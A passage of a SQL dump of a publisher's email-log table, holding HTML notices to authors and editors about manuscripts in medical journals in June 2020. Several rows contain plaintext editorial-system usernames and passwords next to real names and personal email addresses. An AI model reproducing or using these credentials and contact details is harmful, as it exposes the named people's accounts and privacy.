style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3888</b><br />\r\n            <br />\r\n            Article Title: <b>Unusual Seizure Presentation in Early-Onset Alpers&ndash;Huttenlocher Syndrome</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Almuqbil</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','muqbilm@ksau-hs.edu.sa',3888,'2020-06-06',75),(1365,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4200</b><br />\r\n            <br />\r\n            Article Title: <b>COVID-19 Pandemic: Demographic Aspects and Therapeutic Options-A Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chowdhury</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','asadzmn2014@yahoo.com',4200,'2020-06-06',48),(1366,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4183</b><br />\r\n            <br />\r\n            Article Title: <b>Recent Development of Anti-Viral Vaccine and Drugs of COVID-19-A Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chowdhury</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','asadzmn2014@yahoo.com',4183,'2020-06-06',48),(1367,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4173</b><br />\r\n            <br />\r\n            Article Title: <b>OVERVIEW OF COVID-19: TRANSMISSIONS, DIAGNOSIS AND IMMUNITY SYSTEMS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chowdhury</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','asadzmn2014@yahoo.com',4173,'2020-06-06',48),(1368,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3566</b><br />\r\n            <br />\r\n            Article Title: <b>Observation on posterior column sensations as predictor of neurological recovery in spinal cord injury patients</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>KS</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kskssreeja@gmail.com',3566,'2020-06-06',75),(1369,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4392</b><br />\r\n            <br />\r\n            Article Title: <b>Understanding the reason of why covid19 has less impact on babies</b><br />\r\n            <br />\r\n            Corresponding Author: <b>AMINA MELIANI</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4392</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',4392,'2020-06-06',85),(1370,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3812</b><br />\r\n            <br />\r\n            Article Title: <b>Global Efforts towards potential therapeutic options for COVID-19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Prajapti</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','santoshnavodaya2003@gmail.com',3812,'2020-06-06',85),(1374,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3701</b><br />\r\n            <br />\r\n            Article Title: <b> An overview of COVID-19 treatment method and their adverse effects  </b><br />\r\n            <br />\r\n            Corresponding Author: <b>soheil haddadzadegan</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3701</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jennifer<br />\r\n            <b>Password:</b> rTMjHpr8<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jencook@email.arizona.edu',3701,'2020-06-08',85),(1381,'<p>Ref.:  Ms. No. <b>iptb-20-4465</b><br />\r\n<br />\r\n<b>Mothers&rsquo; perception and management preference of acute diarrheal disease among mothers who attend under five clinic at Hossana health facility, southwestern Ethiopia.</b><br />\r\n<br />\r\n<b>Translational Biomedicine</b><br />\r\n<br />\r\nDear <b>Dr. R. Gainetdinov</b>,<br />\r\n<br />\r\n<b>Raul&nbsp;R. Gainetdinov</b> has agreed to take on this assignment.<br />\r\n<br />\r\nRegards,<br />\r\n<b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></p>',2,'Editor Agrees To Handle Assignment','raul.gainetdinov@iit.it',4465,'2020-06-08',673),(1382,'<p>Ref.:  Ms. No. : <b>ipaom-20-4194</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Prevalence and Outcome of Tuberculosis Treatment in a Primary Care Center in Karachi</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Jehangir</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4194</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>dr._fatima</b><br />\r\npassword: <b>d04uXXNa</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','fatima.jehangir@zu.edu.pk',4194,'2020-06-08',85),(1383,'<p>Ref.:  Ms. No. : <b>ipaom-20-4058</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Systemic lupus revealed by pneumonia</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. yousfi</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4058</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>jaouad</b><br />\r\npassword: <b>YakOmnfg</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','yousfi.medecineinterne@gmail.com',4058,'2020-06-08',85),(1384,'<p>Ref.:  Ms. No. : <b>ipaom-20-4056</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Case series of COVID-19 patients who recovered without requiring intubation</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Seo</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4056</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>angie</b><br />\r\npassword: <b>ZsS2HykU</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','angie.seo@lifespan.org',4056,'2020-06-08',85),(1399,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\">\r\n            <p><br />\r\n            Ref.:  Ms. No.  <b>ijddr-20-4065</b><br />\r\n            <br />\r\n            Article Title: <b>FORMULATION OF HERBAL HAND SANITIZER WITH LESS ALCOHOL CONTENT AND EVALUATION OF ANTIMICROBIAL ACTIVITIES AGAINST SKIN PATHOGENS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.ijddr.in/\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Namdev</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.</p>\r\n            <p>kindly send your affliation to the email id: editor.ijddr@pharmajournals.org<br />\r\n            It is accepted on  <b>2020-06-09</b></p>\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Juhinam88@gmail.com',4065,'2020-06-09',376),(1402,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\">\r\n            <p><br />\r\n            Ref.:  Ms. No.  <b>ijddr-20-4065</b><br />\r\n            <br />\r\n            Article Title: <b>FORMULATION OF HERBAL HAND SANITIZER WITH LESS ALCOHOL CONTENT AND EVALUATION OF ANTIMICROBIAL ACTIVITIES AGAINST SKIN PATHOGENS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.ijddr.in/\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Namdev</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.</p>\r\n            <p>kindly note that there is a publication charges of&nbsp; <strong>219 euros</strong> and revert bact to&nbsp;editor.ijddr@pharmajournals.org regarding publication charges.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-09</b></p>\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Juhinam88@gmail.com',4065,'2020-06-09',376),(1403,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4392</b><br />\r\n            <br />\r\n            Article Title: <b>Understanding the reason of why covid19 has less impact on babies</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>MELIANI</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipaom-20-4392</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivesofmedicine.com/\">https://www.archivesofmedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>amina</b><br />\r\n            Password : <b>8ErK9hcd</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','ameliani2003@yahoo.fr',4392,'2020-06-10',85),(1404,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3888</b><br />\r\n            <br />\r\n            Article Title: <b>Unusual Seizure Presentation in Early-Onset Alpers&ndash;Huttenlocher Syndrome</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Almuqbil</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','muqbilm@ksau-hs.edu.sa',3888,'2020-06-10',75),(1406,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4160</b><br />\r\n            <br />\r\n            Article Title: <b>Gender and Age Difference in Clinical Features and severity of Parkinson&rsquo;s Disease: A Cross-Sectional Study in Southern Morocco.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>abderrahmane Achbani</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4160</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',4160,'2020-06-10',75),(1419,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-4138</b><br />\r\n            <br />\r\n            Article Title: <b>A Very Rare Cause of Bowel Obstruction in Children: Colocolonic Intussusception</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Aziz Serhat Baykara</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Engin</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>IPJUS-20-4138</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> omer<br />\r\n            <b>Password:</b> sFPsN5Z5<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','omerengin@hotmail.com',4138,'2020-06-10',319),(1424,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4226</b><br />\r\n            <br />\r\n            Article Title: <b>A case of COVID-19 pneumonia complicated by pericardial effusion.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Archili Miminoshvili</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Theodoros </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4226</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> aslanidis<br />\r\n            <b>Password:</b> qD4MurMN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','thaslan@hotmail.com',4226,'2020-06-11',85),(1425,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-20-3851</b><br />\r\n            <br />\r\n            Article Title: <b>Hematological changes and antidiabetic activities of Colocasia esculenta (L.)schatt) stem tuber  aqueous extract in alloxan induced diabetic rats</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Nwaogwugwu Joel Caleb</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gouri</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaclr-20-3851</b> have been 